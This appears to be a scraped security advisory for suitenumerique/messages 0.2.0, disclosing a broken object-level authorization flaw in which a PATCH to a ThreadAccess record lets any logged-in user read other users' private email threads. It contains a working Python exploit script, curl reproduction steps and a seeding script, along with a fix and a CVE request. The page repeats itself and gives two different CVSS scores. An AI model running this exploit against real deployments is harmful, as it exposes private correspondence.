You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Product: suitenumerique/messages Version: 0.2.0 ; Fixed in 0.3.0 Severity: High (CVSS 8.5) CVE Status: Requesting assignment
Summary
An authenticated user can read the contents of any email thread in the system by sending a single PATCH request that pivots their ThreadAccess record from a thread they legitimately own to an arbitrary target thread. The permission check validates the thread before the update; the serializer writes the new thread value without re-checking authorization.
This is a Broken Object Level Authorization (BOLA / IDOR) vulnerability.
No elevated privilege is required — any user with a mailbox and at least one thread qualifies as an attacker.
Note on AC: Thread UUIDs are not directly enumerable via the API, which provides a weak discovery barrier. In practice they routinely appear in email notification deep-links. This is treated as AC:Low.
Root Cause
File:src/backend/core/api/serializers.py, line 807
classThreadAccessSerializer(serializers.ModelSerializer):
classMeta:
model=models.ThreadAccessfields= ["id", "thread", "mailbox", "role", "created_at", "updated_at"]
read_only_fields= ["id", "created_at", "updated_at"]
# ^^^ "thread" and "mailbox" are missing from read_only_fields
The IsAllowedToManageThreadAccess.has_object_permission check
(permissions.py:280-297) validates that the user has access to obj.thread — the thread referenced by the record at query time,
before the update is applied. It does not re-validate the thread value
from the request body. The serializer then writes the new thread FK
unconditionally.
Steps to Reproduce
Prerequisites:
A running instance of suitenumerique/messages
An attacker account (user1) with any thread (ATTACKER_THREAD)
A victim account (user2) with a private thread (VICTIM_THREAD)
curl -s http://localhost:8901/api/v1.0/threads/VICTIM_THREAD/ \
-H "Cookie: st_messages_sessionid=<SESSION>"# → HTTP 200, full thread content including subject and messages
The attacker's session now has full editor access to the victim's
private thread. The victim's own thread access is unaffected.
A self-contained PoC script is available here (see attached / repository):
#!/usr/bin/env python3"""v0.2.0 — IDOR on ThreadAccess (suitenumerique/messages)========================================================The ThreadAccessSerializer allows updating the `thread` field. Thepermission check validates the *current* thread (pre-update), not the*new* thread value in the request body. A single PATCH request pivotsyour ThreadAccess from a thread you legitimately own to any thread inthe system.Root cause: serializers.py:807 — "thread" absent from read_only_fields.Usage: python3 06_thread_access_idor.py \\ --session <st_messages_sessionid> \\ --csrf <csrftoken> \\ --my-thread <uuid> # thread YOU own (pivot point) --target-thread <uuid> # thread you want to read"""importargparseimportsysimportrequestsBASE="http://localhost:8901"API=f"{BASE}/api/v1.0"defsession_headers(session: str, csrf: str) ->dict:
return {
"Cookie": f"st_messages_sessionid={session}; csrftoken={csrf}",
"X-CSRFToken": csrf,
"Content-Type": "application/json",
}
defget_my_mailbox(session, csrf) ->dict:
r=requests.get(f"{API}/mailboxes/", headers=session_headers(session, csrf))
r.raise_for_status()
mailboxes=r.json()
ifnotmailboxes:
print("[-] No mailboxes found for this session.")
sys.exit(1)
returnmailboxes[0]
defget_my_thread_access(session, csrf, thread_id, mailbox_id) ->str:
"""Return my ThreadAccess ID on the pivot thread."""r=requests.get(
f"{API}/threads/{thread_id}/accesses/",
headers=session_headers(session, csrf),
)
r.raise_for_status()
data=r.json()
foraccessindata.get("results", []):
ifaccess["mailbox"] ==mailbox_id:
returnaccess["id"]
print("[-] Could not find your ThreadAccess on the pivot thread.")
sys.exit(1)
defcheck_access(session, csrf, thread_id) ->bool:
r=requests.get(
f"{API}/threads/{thread_id}/",
headers=session_headers(session, csrf),
)
returnr.status_code==200, rdefexploit(session, csrf, my_thread, target_thread):
print("[*] Fetching attacker mailbox...")
mailbox=get_my_mailbox(session, csrf)
mailbox_id=mailbox["id"]
print(f" {mailbox['email']} ({mailbox_id})")
print(f"\n[*] Checking access to target thread BEFORE exploit...")
ok, r=check_access(session, csrf, target_thread)
ifok:
print(" Already accessible — nothing to do.")
sys.exit(0)
print(f" HTTP {r.status_code} — no access (expected)")
print(f"\n[*] Fetching ThreadAccess ID on pivot thread {my_thread}...")
access_id=get_my_thread_access(session, csrf, my_thread, mailbox_id)
print(f" ThreadAccess ID: {access_id}")
print(f"\n[*] Sending malicious PATCH — swapping thread FK to target...")
payload= {
"thread": target_thread,
"mailbox": mailbox_id,
"role": "editor",
}
r=requests.patch(
f"{API}/threads/{my_thread}/accesses/{access_id}/",
headers=session_headers(session, csrf),
json=payload,
)
ifr.status_codenotin (200, 204):
print(f"[-] Exploit failed: HTTP {r.status_code}")
print(f" {r.text}")
sys.exit(1)
updated=r.json()
print(f" HTTP {r.status_code} — ThreadAccess now points to: {updated['thread']}")
print(f"\n[*] Verifying access to target thread AFTER exploit...")
ok, r=check_access(session, csrf, target_thread)
ifnotok:
print(f"[-] Unexpected: still no access (HTTP {r.status_code})")
sys.exit(1)
thread=r.json()
print(f"\n{'='*60}")
print(f" EXPLOITED SUCCESSFULLY")
print(f"{'='*60}")
print(f" Thread ID : {thread['id']}")
print(f" Subject : {thread['subject']}")
print(f" Snippet : {thread.get('snippet', '(empty)')}")
print(f"{'='*60}")
if__name__=="__main__":
p=argparse.ArgumentParser(description="VULN-6 IDOR PoC — suitenumerique/messages")
p.add_argument("--session", required=True, help="st_messages_sessionid cookie")
p.add_argument("--csrf", required=True, help="csrftoken cookie / header value")
p.add_argument("--my-thread", required=True, help="UUID of a thread you legitimately own")
p.add_argument("--target-thread", required=True, help="UUID of the thread you want to access")
args=p.parse_args()
exploit(args.session, args.csrf, args.my_thread, args.target_thread)
FYI, here is the setup.sh script I used after seeding the database:
#!/usr/bin/env bash# Setup script for IDOR on ThreadAccess# Creates two users, two mailboxes, and two realistic threads:# - ATTACKER_THREAD : user1's legitimate thread (pivot point)# - VICTIM_THREAD : user2's private board thread (content theft target)## Usage: bash exploits/tests/setup.sh# Requires: docker compose stack running (make bootstrap)set -e
echo"==> Setting up test data..."
docker compose exec -T backend-dev python manage.py shell << 'PYEOF'import uuid, hashlibfrom django.utils import timezonefrom core import models, enumsdomain, _ = models.MailDomain.objects.get_or_create(name="example.local")# ── User 1 (attacker) ────────────────────────────────────────────────────────u1, _ = models.User.objects.get_or_create(email="user1@example.local", defaults={"password": "!"})mb1, _ = models.Mailbox.objects.get_or_create(local_part="user1", domain=domain)models.MailboxAccess.objects.get_or_create( user=u1, mailbox=mb1, defaults={"role": models.MailboxRoleChoices.ADMIN},)c1, _ = models.Contact.objects.get_or_create( email="user1@example.local", defaults={"name": "Alice Martin", "mailbox": mb1},)# ── User 2 (victim) ──────────────────────────────────────────────────────────u2, _ = models.User.objects.get_or_create( email="user2@example.local", defaults={"id": uuid.uuid4(), "password": "!"},)mb2, _ = models.Mailbox.objects.get_or_create(local_part="user2", domain=domain)models.MailboxAccess.objects.get_or_create( user=u2, mailbox=mb2, defaults={"role": models.MailboxRoleChoices.ADMIN},)c2, _ = models.Contact.objects.get_or_create( email="user2@example.local", defaults={"name": "Bob Leclerc", "mailbox": mb2},)def make_blob(raw: bytes, mailbox, content_type="message/rfc822"): return models.Blob.objects.create( mailbox=mailbox, maildomain=domain, content_type=content_type, compression=models.CompressionTypeChoices.NONE, raw_content=raw, size=len(raw), size_compressed=len(raw), sha256=hashlib.sha256(raw).digest(), )# ── Attacker's thread — normal support request (pivot point) ──────────────────t_attacker = models.Thread.objects.create( subject="Re: Onboarding issue with SSO login", snippet="Thanks for the quick turnaround, the SSO issue is resolved.", has_messages=True, has_sender=True, messaged_at=timezone.now(),)models.ThreadAccess.objects.create( thread=t_attacker, mailbox=mb1, role=enums.ThreadAccessRoleChoices.EDITOR,)blob1 = make_blob(( "From: alice@example.local\r\nTo: support@example.local\r\n" "Subject: Re: Onboarding issue with SSO login\r\n\r\n" "Hi team,\r\n\r\n" "Thanks for the quick turnaround \u2014 the SSO issue is now resolved on our end.\r\n" "Users can log in without problems.\r\n\r\nBest,\r\nAlice").encode(), mb1)models.Message.objects.create( thread=t_attacker, subject="Re: Onboarding issue with SSO login", sender=c1, blob=blob1, is_draft=False, is_unread=False, sent_at=timezone.now(),)# ── Victim's private thread — board-level discussion ─────────────────────────t_victim = models.Thread.objects.create( subject="[BOARD] Project Falcon \u2014 term sheet review", snippet="The valuation cap is set at \u20ac42M. Signing is scheduled for Friday.", has_messages=True, has_sender=True, messaged_at=timezone.now(),)models.ThreadAccess.objects.create( thread=t_victim, mailbox=mb2, role=enums.ThreadAccessRoleChoices.EDITOR,)for subj, raw in [ ( "[BOARD] Project Falcon \u2014 term sheet review", ( "From: bob.leclerc@example.local\r\nTo: cfo@example.local\r\n" "Subject: [BOARD] Project Falcon - term sheet review\r\n\r\n" "Hi Sarah,\r\n\r\n" "Attaching the updated term sheet. Key points:\r\n" "- Valuation cap: \u20ac42M pre-money\r\n" "- 18% equity stake\r\n" "- Board seat for lead investor\r\n" "- No-shop clause: 30 days\r\n\r\n" "We need sign-off before Friday. Please do not forward this thread.\r\n\r\nBob" ).encode(), ), ( "Re: [BOARD] Project Falcon \u2014 term sheet review", ( "From: cfo@example.local\r\nTo: bob.leclerc@example.local\r\n" "Subject: Re: [BOARD] Project Falcon - term sheet review\r\n\r\n" "Bob,\r\n\r\nReviewed. Two comments:\r\n" "1. The liquidation preference clause (1.5x) is aggressive \u2014 push back to 1x.\r\n" "2. Confirm the ESOP pool expansion is capped at 10% post-money.\r\n\r\n" "Otherwise I'm aligned. Loop in legal before signing.\r\n\r\nSarah" ).encode(), ),]: models.Message.objects.create( thread=t_victim, subject=subj, sender=c2, blob=make_blob(raw, mb2), is_draft=False, is_unread=True, sent_at=timezone.now(), )print(f"ATTACKER_MAILBOX={mb1.id}")print(f"ATTACKER_THREAD={t_attacker.id}")print(f"VICTIM_THREAD={t_victim.id}")PYEOFecho""echo"==> Setup complete."echo""echo" ATTACKER_THREAD : (see above) — user1's SSO support thread (pivot)"echo" VICTIM_THREAD : (see above) — [BOARD] Project Falcon (some kind of confidential document), user2 only"echo""echo" Run the exploit:"echo" python3 exploits/tests/exploit.py --session S --csrf C \\"echo" --my-thread ATTACKER_THREAD --target-thread VICTIM_THREAD"
Impact
Any authenticated user in a multi-tenant deployment can exfiltrate the complete contents of any other user's threads without their knowledge.
This includes private correspondence, board-level discussions, attachments, and any other content stored as email threads.
Remediation
One-line fix — add "thread" and "mailbox" to read_only_fields:
I would like to request a CVE identifier for this. I am aware it is still in Beta but I believe the finding is significantly important to notify users that they must update this software.
Product: suitenumerique/messages
Version: 0.2.0 ; Fixed in 0.3.0
Severity: High (CVSS 8.5)
CVE Status: Requesting assignment
Summary
An authenticated user can read the contents of any email thread in the system by sending a single PATCH request that pivots their
ThreadAccessrecord from a thread they legitimately own to an arbitrary target thread. The permission check validates the thread before the update; the serializer writes the new thread value without re-checking authorization.This is a Broken Object Level Authorization (BOLA / IDOR) vulnerability.
No elevated privilege is required — any user with a mailbox and at least one thread qualifies as an attacker.
demo.mp4
CVSS 3.1
Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:NScore: 7.6 (High)
Note on AC: Thread UUIDs are not directly enumerable via the API, which provides a weak discovery barrier. In practice they routinely appear in email notification deep-links. This is treated as AC:Low.
Root Cause
File:
src/backend/core/api/serializers.py, line 807The
IsAllowedToManageThreadAccess.has_object_permissioncheck(
permissions.py:280-297) validates that the user has access toobj.thread— the thread referenced by the record at query time,before the update is applied. It does not re-validate the
threadvaluefrom the request body. The serializer then writes the new
threadFKunconditionally.
Steps to Reproduce
Prerequisites:
user1) with any thread (ATTACKER_THREAD)user2) with a private thread (VICTIM_THREAD)user1has noThreadAccessonVICTIM_THREADStep 1 — Confirm no access
Step 2 — Get attacker's ThreadAccess ID
Step 3 — Pivot to victim thread
Step 4 — Read victim thread
The attacker's session now has full
editoraccess to the victim'sprivate thread. The victim's own thread access is unaffected.
A self-contained PoC script is available here (see attached / repository):
FYI, here is the
setup.shscript I used after seeding the database:Impact
Any authenticated user in a multi-tenant deployment can exfiltrate the complete contents of any other user's threads without their knowledge.
This includes private correspondence, board-level discussions, attachments, and any other content stored as email threads.
Remediation
One-line fix — add
"thread"and"mailbox"toread_only_fields:CVE Request
I would like to request a CVE identifier for this. I am aware it is still in Beta but I believe the finding is significantly important to notify users that they must update this software.